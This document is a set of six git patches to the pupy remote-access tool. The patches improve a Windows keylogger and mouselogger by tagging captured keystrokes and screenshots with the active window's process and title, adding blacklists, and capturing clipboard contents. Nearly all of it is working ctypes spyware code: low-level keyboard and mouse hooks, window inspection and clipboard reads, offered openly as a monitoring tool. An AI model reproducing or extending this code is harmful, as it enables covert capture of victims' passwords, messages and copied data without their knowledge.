From 0edf4db9dc06588e6b6e44f3559677af571e3c08 Mon Sep 17 00:00:00 2001 From: golind Date: Fri, 23 Oct 2015 18:19:43 +0000 Subject: [PATCH 1/6] keylogger by active window For the most part this works as intended, it is a little strange when it comes to certain windows (right clickmenu for example, because there isnt a pid for it), clean up would be apreciated basically what this does logs keys based on active window and spits out the keys when the window is switched. i wasnt sure how attached you were to sleep() so I chose this method that tries not to spam too much. --- .../windows/all/pupwinutils/keylogger.py | 35 ++++++++++++++++--- 1 file changed, 31 insertions(+), 4 deletions(-) diff --git a/pupy/packages/windows/all/pupwinutils/keylogger.py b/pupy/packages/windows/all/pupwinutils/keylogger.py index 0db396f7..2c37fc70 100644 --- a/pupy/packages/windows/all/pupwinutils/keylogger.py +++ b/pupy/packages/windows/all/pupwinutils/keylogger.py @@ -24,6 +24,9 @@ kernel32 = windll.kernel32 WH_KEYBOARD_LL=13 WM_KEYDOWN=0x0100 +psapi = windll.psapi +current_window = None + keyCodes={ 0x08 : "[BKSP]", 0x09 : "[TAB]", @@ -112,11 +115,35 @@ class KeyLogger(threading.Thread): self.keys_buffer+=hooked_key return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) +#credit: Black Hat Python - https://www.nostarch.com/blackhatpython +def get_current_process(): + hwnd = user32.GetForegroundWindow() + + pid = c_ulong(0) + user32.GetWindowThreadProcessId(hwnd, byref(pid)) + + process_id = "%d" % pid.value + + executable = create_string_buffer("\x00" * 512) + h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) + psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) + + window_title = create_string_buffer("\x00" * 512) + length = user32.GetWindowTextA(hwnd, byref(window_title),512) + + kernel32.CloseHandle(hwnd) + kernel32.CloseHandle(h_process) + return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) + if __name__=="__main__": keyLogger = KeyLogger() keyLogger.start() while True: - time.sleep(5) - print keyLogger.dump() - - + if keyLogger.keys_buffer == "": + continue + else: + curr_proc = get_current_process() + if current_window != curr_proc: + print keyLogger.dump() + current_window = curr_proc + print current_window From cdbf1058abed4410a4168c51c197cf68008d1638 Mon Sep 17 00:00:00 2001 From: golind Date: Wed, 28 Oct 2015 15:44:02 +0000 Subject: [PATCH 2/6] keyloger with active window updated for x64 fix by @ninja, added blacklisting of processes/window titles --- .../windows/all/pupwinutils/keylogger.py | 85 ++++++++++++------- 1 file changed, 56 insertions(+), 29 deletions(-) diff --git a/pupy/packages/windows/all/pupwinutils/keylogger.py b/pupy/packages/windows/all/pupwinutils/keylogger.py index 2c37fc70..b98ccea2 100644 --- a/pupy/packages/windows/all/pupwinutils/keylogger.py +++ b/pupy/packages/windows/all/pupwinutils/keylogger.py @@ -14,13 +14,32 @@ # -------------------------------------------------------------- import sys from ctypes import * -from ctypes.wintypes import MSG -from ctypes.wintypes import DWORD +from ctypes.wintypes import MSG, DWORD, HINSTANCE, HHOOK, WPARAM, LPARAM, BOOL, LPCWSTR, HMODULE import threading import time +import datetime +import platform -user32 = windll.user32 + +LRESULT = c_int64 if platform.architecture()[0] == "64bit" else c_long +HOOKPROC = WINFUNCTYPE(LRESULT, c_int, WPARAM, POINTER(c_void_p)) +user32=windll.user32 kernel32 = windll.kernel32 + +#some windows function defines : +SetWindowsHookEx = user32.SetWindowsHookExA +SetWindowsHookEx.restype = HHOOK +SetWindowsHookEx.argtypes = [c_int, HOOKPROC, HINSTANCE, DWORD] +CallNextHookEx = user32.CallNextHookEx +CallNextHookEx.restype = LRESULT +CallNextHookEx.argtypes = [HHOOK, c_int, WPARAM, POINTER(c_void_p)] +UnhookWindowsHookEx = user32.UnhookWindowsHookEx +UnhookWindowsHookEx.restype = BOOL +UnhookWindowsHookEx.argtypes = [HHOOK] +GetModuleHandleW=windll.kernel32.GetModuleHandleW +GetModuleHandleW.restype = HMODULE +GetModuleHandleW.argtypes = [LPCWSTR] + WH_KEYBOARD_LL=13 WM_KEYDOWN=0x0100 @@ -30,7 +49,7 @@ current_window = None keyCodes={ 0x08 : "[BKSP]", 0x09 : "[TAB]", - 0x0D : "\n", + 0x0D : "[ENTER]", 0x10 : "[SHIFT]", 0x11 : "[CTRL]", 0x12 : "[ALT]", @@ -44,7 +63,7 @@ keyCodes={ 0x28 : "[DOWN]", 0x2C : "[PRINT_SCREEN]", 0x2E : "[DEL]", - 0x90 : "[NUM_LOCk]", + 0x90 : "[NUM_LOCK]", 0xA0 : "[LSHIFT]", 0xA1 : "[RSHIFT]", 0xA2 : "[LCTRL]", @@ -59,17 +78,13 @@ class KeyLogger(threading.Thread): self.hooked = None self.daemon=True self.keys_buffer="" - self.lUser32=user32 self.pointer=None self.stopped=False def run(self): - if self.install_hook(): - print "keylogger installed" - else: - raise RuntimeError("couldn't install keylogger") + self.install_hook() msg = MSG() - user32.GetMessageA(byref(msg),0,0,0) + windll.user32.GetMessageA(byref(msg),0,0,0) while not self.stopped: time.sleep(1) self.uninstall_hook() @@ -84,6 +99,7 @@ class KeyLogger(threading.Thread): def convert_key_code(self, code): #https://msdn.microsoft.com/fr-fr/library/windows/desktop/dd375731%28v=vs.85%29.aspx + code=c_long(code).value if code >=0x41 and code <=0x5a: # letters return chr(code) elif code>=0x30 and code <=0x39: # numbers @@ -93,27 +109,27 @@ class KeyLogger(threading.Thread): elif code in keyCodes: return keyCodes[code] return "[%02x]"%code - + def install_hook(self): - CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) - self.pointer = CMPFUNC(self.hook_proc) - self.hooked = self.lUser32.SetWindowsHookExA(WH_KEYBOARD_LL, self.pointer, kernel32.GetModuleHandleW(None), 0) + self.pointer = HOOKPROC(self.hook_proc) + modhwd=GetModuleHandleW(None) + self.hooked = SetWindowsHookEx(WH_KEYBOARD_LL, self.pointer, modhwd, 0) if not self.hooked: - return False + raise WinError() return True def uninstall_hook(self): if self.hooked is None: return - self.lUser32.UnhookWindowsHookEx(self.hooked) + UnhookWindowsHookEx(self.hooked) self.hooked = None def hook_proc(self, nCode, wParam, lParam): - if wParam is not WM_KEYDOWN: - return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) + if wParam != WM_KEYDOWN: + return CallNextHookEx(self.hooked, nCode, wParam, lParam) hooked_key = self.convert_key_code(lParam[0]) self.keys_buffer+=hooked_key - return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) + return CallNextHookEx(self.hooked, nCode, wParam, lParam) #credit: Black Hat Python - https://www.nostarch.com/blackhatpython def get_current_process(): @@ -122,7 +138,7 @@ def get_current_process(): pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) - process_id = "%d" % pid.value + #process_id = "%d" % pid.value executable = create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) @@ -133,17 +149,28 @@ def get_current_process(): kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) - return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) + return executable.value, window_title.value if __name__=="__main__": + proc_blacklist = ['explorer.exe'] + proc_whitelist = [] # can expand on this + + title_blacklist = set(['task']) + title_whitelist = set([]) # can expand on this + keyLogger = KeyLogger() keyLogger.start() while True: - if keyLogger.keys_buffer == "": - continue + exe, win_title = get_current_process() + curr_title = set(win_title.lower().split()) + if (exe.lower() in proc_blacklist) or (title_blacklist & curr_title): + keyLogger.keys_buffer = "" + elif keyLogger.keys_buffer == "": + pass else: - curr_proc = get_current_process() - if current_window != curr_proc: - print keyLogger.dump() - current_window = curr_proc - print current_window + curr_title = get_current_process()[1] + if current_window != curr_title: + if (current_window != '') or (current_window != 'Task Switching'): + print datetime.datetime.now(),curr_title,current_window #this part annoying, and needs a fix + print keyLogger.dump() + current_window = curr_title From ba64a783b895f2418d36c537311507fbaf2d0f92 Mon Sep 17 00:00:00 2001 From: golind Date: Wed, 28 Oct 2015 15:45:40 +0000 Subject: [PATCH 3/6] mouselogger with active window similary to keylogger patch, gets active window title, added black listing of processes/window titles. --- .../windows/all/pupwinutils/mouselogger.py | 41 +++++++++++++++++-- 1 file changed, 37 insertions(+), 4 deletions(-) diff --git a/pupy/packages/windows/all/pupwinutils/mouselogger.py b/pupy/packages/windows/all/pupwinutils/mouselogger.py index 5546c6da..593ee690 100644 --- a/pupy/packages/windows/all/pupwinutils/mouselogger.py +++ b/pupy/packages/windows/all/pupwinutils/mouselogger.py @@ -60,6 +60,8 @@ kernel32 = windll.kernel32 WH_MOUSE_LL=14 WM_MOUSEFIRST=0x0200 +psapi = windll.psapi +current_window = None # Initilisations SM_XVIRTUALSCREEN = 76 @@ -172,7 +174,6 @@ class MouseLogger(threading.Thread): return pixels.raw, height, width - def install_hook(self): CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) self.pointer = CMPFUNC(self.hook_proc) @@ -194,10 +195,42 @@ class MouseLogger(threading.Thread): self.screenshots.append((datetime.datetime.now(), height, width, buf)) return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) +#credit: Black Hat Python - https://www.nostarch.com/blackhatpython +def get_current_process(): + hwnd = user32.GetForegroundWindow() + + pid = c_ulong(0) + user32.GetWindowThreadProcessId(hwnd, byref(pid)) + + #process_id = "%d" % pid.value + + executable = create_string_buffer("\x00" * 512) + h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) + psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) + + window_title = create_string_buffer("\x00" * 512) + length = user32.GetWindowTextA(hwnd, byref(window_title),512) + + kernel32.CloseHandle(hwnd) + kernel32.CloseHandle(h_process) + #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) + return executable.value, window_title.value + if __name__=="__main__": + proc_blacklist = ['explorer.exe'] + proc_whitelist = []# can expand on this + + title_blacklist = set(['task']) + title_whitelist = set([])# can expand on this + ml = MouseLogger() ml.start() while True: - time.sleep(5) - for d, height, width, buf in ml.retrieve_screenshots(): - print "screenshot of %s/%s taken at %s (%s bytes)"%(height, width, d, len(buf)) + exe, win_title = get_current_process() + curr_title = set(win_title.lower().split()) + if (exe.lower() in proc_blacklist) or (title_blacklist & curr_title): + ml.screenshots = [] + else: + time.sleep(5) + for d, height, width, buf in ml.retrieve_screenshots(): + print "screenshot of %s - %spx/%spx taken at %s (%s bytes)"%(win_title, height, width, d, len(buf)) From f9a371adf0c1249af0dc18eb8d5bde629278224b Mon Sep 17 00:00:00 2001 From: golind Date: Wed, 28 Oct 2015 16:17:19 +0000 Subject: [PATCH 4/6] Update keylogger.py made a slit booboo, reused some variables that shouldnt. --- pupy/packages/windows/all/pupwinutils/keylogger.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/pupy/packages/windows/all/pupwinutils/keylogger.py b/pupy/packages/windows/all/pupwinutils/keylogger.py index b98ccea2..0b9ea763 100644 --- a/pupy/packages/windows/all/pupwinutils/keylogger.py +++ b/pupy/packages/windows/all/pupwinutils/keylogger.py @@ -162,15 +162,14 @@ if __name__=="__main__": keyLogger.start() while True: exe, win_title = get_current_process() - curr_title = set(win_title.lower().split()) - if (exe.lower() in proc_blacklist) or (title_blacklist & curr_title): + curr_title_split = set(win_title.lower().split()) + if (exe.lower() in proc_blacklist) or (title_blacklist & curr_title_split): keyLogger.keys_buffer = "" elif keyLogger.keys_buffer == "": pass else: - curr_title = get_current_process()[1] - if current_window != curr_title: + if current_window != win_title: if (current_window != '') or (current_window != 'Task Switching'): - print datetime.datetime.now(),curr_title,current_window #this part annoying, and needs a fix + print datetime.datetime.now(),current_window # one issue here, prints datetime line with no current window title when switching windows with first character of dump. i stare at this too long and now i cant figure out print keyLogger.dump() - current_window = curr_title + current_window = win_title From dd7e95834be32ee66b65a72c5b61eb8a19995e9d Mon Sep 17 00:00:00 2001 From: golind Date: Wed, 28 Oct 2015 20:13:17 +0000 Subject: [PATCH 5/6] keylogger with active window + more in addition to active window recording from previous edit, this one now includes grabbing windows clipboard. source link: http://nullege.com/codes/show/src%40t%40h%40thbattle-HEAD%40src%40utils%40pyperclip.py/48/ctypes.windll.user32.OpenClipboard/python if keylogger becomes multiplatform then clipboard could be expanded to do the same. --- .../windows/all/pupwinutils/keylogger.py | 24 +++++++++++++++---- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/pupy/packages/windows/all/pupwinutils/keylogger.py b/pupy/packages/windows/all/pupwinutils/keylogger.py index 0b9ea763..d3c1d209 100644 --- a/pupy/packages/windows/all/pupwinutils/keylogger.py +++ b/pupy/packages/windows/all/pupwinutils/keylogger.py @@ -19,7 +19,7 @@ import threading import time import datetime import platform - +import os LRESULT = c_int64 if platform.architecture()[0] == "64bit" else c_long HOOKPROC = WINFUNCTYPE(LRESULT, c_int, WPARAM, POINTER(c_void_p)) @@ -43,8 +43,9 @@ GetModuleHandleW.argtypes = [LPCWSTR] WH_KEYBOARD_LL=13 WM_KEYDOWN=0x0100 -psapi = windll.psapi -current_window = None +psapi=windll.psapi +current_window=None +paste=None keyCodes={ 0x08 : "[BKSP]", @@ -75,7 +76,7 @@ keyCodes={ class KeyLogger(threading.Thread): def __init__(self, *args, **kwargs): threading.Thread.__init__(self, *args, **kwargs) - self.hooked = None + self.hooked=None self.daemon=True self.keys_buffer="" self.pointer=None @@ -151,6 +152,14 @@ def get_current_process(): kernel32.CloseHandle(h_process) return executable.value, window_title.value +##http://nullege.com/codes/show/src%40t%40h%40thbattle-HEAD%40src%40utils%40pyperclip.py/48/ctypes.windll.user32.OpenClipboard/python +def winGetClipboard(): #link above is multiplatform, this can easily expand if keylogger becomes multiplatform + windll.user32.OpenClipboard(0) + pcontents = windll.user32.GetClipboardData(13) # CF_UNICODETEXT + data = c_wchar_p(pcontents).value + windll.user32.CloseClipboard() + return data + if __name__=="__main__": proc_blacklist = ['explorer.exe'] proc_whitelist = [] # can expand on this @@ -161,6 +170,7 @@ if __name__=="__main__": keyLogger = KeyLogger() keyLogger.start() while True: + getcb = winGetClipboard exe, win_title = get_current_process() curr_title_split = set(win_title.lower().split()) if (exe.lower() in proc_blacklist) or (title_blacklist & curr_title_split): @@ -168,8 +178,12 @@ if __name__=="__main__": elif keyLogger.keys_buffer == "": pass else: + if paste != getcb(): + paste = getcb() + print '[Clipboard]:',paste,'[/Clipboard]' + if current_window != win_title: if (current_window != '') or (current_window != 'Task Switching'): - print datetime.datetime.now(),current_window # one issue here, prints datetime line with no current window title when switching windows with first character of dump. i stare at this too long and now i cant figure out + print datetime.datetime.now(),current_window print keyLogger.dump() current_window = win_title From cb9c4c731650f70d62e68c5dd24de680046e1286 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Thu, 29 Oct 2015 20:04:44 +0100 Subject: [PATCH 6/6] documenting the keylogger a little --- pupy/modules/keylogger.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/pupy/modules/keylogger.py b/pupy/modules/keylogger.py index d104fc20..08fadcc1 100644 --- a/pupy/modules/keylogger.py +++ b/pupy/modules/keylogger.py @@ -13,7 +13,10 @@ from pupylib.utils.rpyc_utils import redirected_stdio __class_name__="KeyloggerModule" class KeyloggerModule(PupyModule): - """ a simple keylogger :-) """ + """ + A keylogger to monitor all keyboards interaction including the clipboard :-) + The clipboard is also monitored and the dump includes the window name in which the keys are beeing typed + """ #max_clients=1 daemon=True unique_instance=True